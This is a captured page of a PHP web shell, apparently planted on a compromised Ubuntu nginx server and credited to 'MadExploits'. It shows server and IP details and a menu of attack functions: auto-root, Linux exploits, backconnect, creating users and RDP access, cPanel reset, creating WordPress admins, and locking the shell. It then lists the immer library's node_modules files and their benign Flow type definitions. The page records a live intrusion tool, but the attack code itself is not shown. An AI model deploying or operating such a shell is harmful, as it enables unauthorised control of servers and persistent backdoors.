Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.189
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
immer /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
core
[ DIR ]
dr-xr-xr-x
plugins
[ DIR ]
dr-xr-xr-x
types
[ DIR ]
dr-xr-xr-x
utils
[ DIR ]
dr-xr-xr-x
immer.cjs.development.js
59.33
KB
-rw-rw-rw-
immer.cjs.development.js.map
122.69
KB
-rw-rw-rw-
immer.cjs.production.min.js
15.77
KB
-rw-rw-rw-
immer.cjs.production.min.js.ma...
92.62
KB
-rw-rw-rw-
immer.d.ts
3.58
KB
-rw-rw-rw-
immer.d.ts.map
1.07
KB
-rw-rw-rw-
immer.esm.js
17.99
KB
-rw-rw-rw-
immer.esm.js.map
94.26
KB
-rw-rw-rw-
immer.esm.mjs
17.99
KB
-rw-rw-rw-
immer.umd.development.js
61.32
KB
-rw-rw-rw-
immer.umd.development.js.map
122.7
KB
-rw-rw-rw-
immer.umd.production.min.js
15.82
KB
-rw-rw-rw-
immer.umd.production.min.js.ma...
92.59
KB
-rw-rw-rw-
index.js
188
B
-rw-rw-rw-
index.js.flow
4.31
KB
-rw-rw-rw-
internal.d.ts
415
B
-rw-rw-rw-
internal.d.ts.map
352
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js.flow
// @flow export interface Patch { op: "replace" | "remove" | "add"; path: (string | number)[]; value?: any; } export type PatchListener = (patches: Patch[], inversePatches: Patch[]) => void type Base = {...} | Array<any> interface IProduce { /** * Immer takes a state, and runs a function against it. * That function can freely mutate the state, as it will create copies-on-write. * This means that the original state will stay unchanged, and once the function finishes, the modified state is returned. * * If the first argument is a function, this is interpreted as the recipe, and will create a curried function that will execute the recipe * any time it is called with the current state. * * @param currentState - the state to start with * @param recipe - function that receives a proxy of the current state as first argument and which can be freely modified * @param initialState - if a curried function is created and this argument was given, it will be used as fallback if the curried function is called with a state of undefined * @returns The next state: a new state, or the current state if nothing was modified */ <S: Base>( currentState: S, recipe: (draftState: S) => S | void, patchListener?: PatchListener ): S; // curried invocations with initial state <S: Base, A = void, B = void, C = void>( recipe: (draftState: S, a: A, b: B, c: C, ...extraArgs: any[]) => S | void, initialState: S ): (currentState: S | void, a: A, b: B, c: C, ...extraArgs: any[]) => S; // curried invocations without initial state <S: Base, A = void, B = void, C = void>( recipe: (draftState: S, a: A, b: B, c: C, ...extraArgs: any[]) => S | void ): (currentState: S, a: A, b: B, c: C, ...extraArgs: any[]) => S; } interface IProduceWithPatches { /** * Like `produce`, but instead of just returning the new state, * a tuple is returned with [nextState, patches, inversePatches] * * Like produce, this function supports currying */ <S: Base>( currentState: S, recipe: (draftState: S) => S | void ): [S, Patch[], Patch[]]; // curried invocations with initial state <S: Base, A = void, B = void, C = void>( recipe: (draftState: S, a: A, b: B, c: C, ...extraArgs: any[]) => S | void, initialState: S ): (currentState: S | void, a: A, b: B, c: C, ...extraArgs: any[]) => [S, Patch[], Patch[]]; // curried invocations without initial state <S: Base, A = void, B = void, C = void>( recipe: (draftState: S, a: A, b: B, c: C, ...extraArgs: any[]) => S | void ): (currentState: S, a: A, b: B, c: C, ...extraArgs: any[]) => [S, Patch[], Patch[]]; } declare export var produce: IProduce declare export default IProduce declare export var produceWithPatches: IProduceWithPatches declare export var nothing: typeof undefined declare export var immerable: Symbol /** * Automatically freezes any state trees generated by immer. * This protects against accidental modifications of the state tree outside of an immer function. * This comes with a performance impact, so it is recommended to disable this option in production. * By default it is turned on during local development, and turned off in production. */ declare export function setAutoFreeze(autoFreeze: boolean): void /** * Manually override whether proxies should be used. * By default done by using feature detection */ declare export function setUseProxies(useProxies: boolean): void declare export function applyPatches<S>(state: S, patches: Patch[]): S declare export function original<S>(value: S): S declare export function current<S>(value: S): S declare export function isDraft(value: any): boolean /** * Creates a mutable draft from an (immutable) object / array. * The draft can be modified until `finishDraft` is called */ declare export function createDraft<T>(base: T): T /** * Given a draft that was created using `createDraft`, * finalizes the draft into a new immutable object. * Optionally a patch-listener can be provided to gather the patches that are needed to construct the object. */ declare export function finishDraft<T>(base: T, listener?: PatchListener): T declare export function enableES5(): void declare export function enableMapSet(): void declare export function enablePatches(): void declare export function enableAllPlugins(): void declare export function freeze<T>(obj: T, freeze?: boolean): T
Close